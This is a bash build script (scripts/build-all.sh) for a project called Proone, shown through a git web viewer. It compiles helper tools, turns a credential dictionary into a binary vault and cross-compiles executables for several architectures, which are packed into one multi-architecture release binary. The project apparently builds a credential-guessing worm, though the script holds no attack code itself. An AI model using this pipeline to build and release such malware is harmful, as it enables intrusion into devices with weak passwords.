aboutsummaryrefslogtreecommitdiff
path: root/scripts/build-all.sh
blob: 43346ceae5646eeaa0670ddb4a7bd06dfc78d4c2 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/bin/bash
## \file
# \brief Build all target arches specified and native tools necessary for
#	fabrication of executables. You'll use this script a lot!
# \note xcomp is required for this script to function.
set -e # die on error

# The array of the native tools
PROONE_TOOLS="
	proone-pack
	proone-list-arch
	proone-mkcdict
	proone-mkdvault
	proone-ipaddr-arr
"

# Determine the default "include path"
# Set this variable to use paths other than the directory in which the script is
# located.
if [ -z "$INC_DIR" ]; then
	INC_DIR="$(dirname "${BASH_SOURCE[0]}")"
fi
INC_CONF="$INC_DIR/build-all.conf.sh"

if [ $# -ne 0 ]; then
	cat >&2 << EOF
Proone build-all script. Build all configured target executables and pack them
into one final FatELF-style executable for release.
Usage: $0
Config: $INC_CONF

This script requires that no argument is passed in order to run.
EOF
	exit 2
fi

# Load config
if [ -f "$INC_CONF" ]; then
	. "$INC_CONF"
else
	echo "$INC_CONF: no such file" >&2
	exit 1
fi

# Length check
LEN_BUILD_TARGET="${#BUILD_TARGETS[@]}"
if [ $LEN_BUILD_TARGET -le 0 ]; then
	echo "No target specified" >&2
	exit 2
fi

# Set defaults
[ -z "$PROONE_PREFIX" ] && PROONE_PREFIX="builds"
[ -z "$PROONE_DEBUG_SYM_DIR" ] && PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug"
[ -z "$PROONE_EXEC_DIR" ] && PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin"
[ -z "$PROONE_TOOLS_DIR" ] && PROONE_TOOLS_DIR="$PROONE_PREFIX/tools"
[ -z "$PROONE_MISC_BIN_DIR" ] && PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc"
[ -z "$PROONE_REL_DIR" ] && PROONE_REL_DIR="$PROONE_PREFIX/proone"
[ -z "$PROONE_DEBUG_SYM_PREFIX" ] && PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/"
[ -z "$PROONE_EXEC_PREFIX" ] && PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/stripped"
[ -z "$PROONE_ENTIRE_PREFIX" ] && PROONE_ENTIRE_PREFIX="$PROONE_EXEC_DIR/entire"
[ -z "$PROONE_ASM_PREFIX" ] && PROONE_ASM_PREFIX="$PROONE_EXEC_DIR/asm"
[ -z "$PROONE_READELF_PREFIX" ] && PROONE_READELF_PREFIX="$PROONE_EXEC_DIR/readelf"
[ -z "$PROONE_MISC_BIN_PREFIX" ] && PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/"
[ -z "$PROONE_REL_PREFIX" ] && PROONE_REL_PREFIX="$PROONE_REL_DIR/proone"
[ -z "$PROONE_CDICT" ] && PROONE_CDICT="$PROONE_PREFIX/cred_dict.bin"
[ -z "$PROONE_DVAULT" ] && PROONE_DVAULT="$PROONE_PREFIX/dvault.bin"

export PROONE_DEBUG_SYM_PREFIX
export PROONE_EXEC_PREFIX
export PROONE_ENTIRE_PREFIX
export PROONE_ASM_PREFIX
export PROONE_READELF_PREFIX
export PROONE_MISC_BIN_PREFIX

################################################################################

# Drop the root directory and set up the skeleton
rm -rf "$PROONE_PREFIX"
mkdir \
	"$PROONE_PREFIX"\
	"$PROONE_DEBUG_SYM_DIR"\
	"$PROONE_EXEC_DIR"\
	"$PROONE_TOOLS_DIR"\
	"$PROONE_MISC_BIN_DIR"\
	"$PROONE_REL_DIR"
# Ignore the clean up error because the project may not have been configured
set +e
make distclean
set -e

# Build native tools
./configure $PROONE_AM_CONF
make -j$(nproc) -C src $PROONE_TOOLS
for t in $PROONE_TOOLS; do
	cp -a "src/$t" "$PROONE_TOOLS_DIR"
done
# Copy the test suites as well
cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR"
make distclean

# Generate dvault and cred dict binary
"$PROONE_TOOLS_DIR/proone-mkcdict"\
	"./src/proone_conf/cred_dict.txt"\
	"$PROONE_CDICT"
"$PROONE_TOOLS_DIR/proone-mkdvault" "$PROONE_CDICT" > "$PROONE_DVAULT"
DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT")

# Build all targets
for (( i = 0; i < LEN_BUILD_TARGET; i += 1 )); do
	read -ra tpl <<< "${BUILD_TARGETS[i]}"

	PROONE_BIN_OS="${tpl[0]}" \
	PROONE_BIN_ARCH="${tpl[1]}" \
	PROONE_HOST="${tpl[4]}" \
		xcomp "${tpl[2]}" "${tpl[3]}" "scripts/build-arch.sh"
done

# Do pack
"$PROONE_TOOLS_DIR/proone-pack"\
	"$PROONE_REL_PREFIX"\
	"$PROONE_DVAULT"\
	"$PROONE_EXEC_PREFIX".*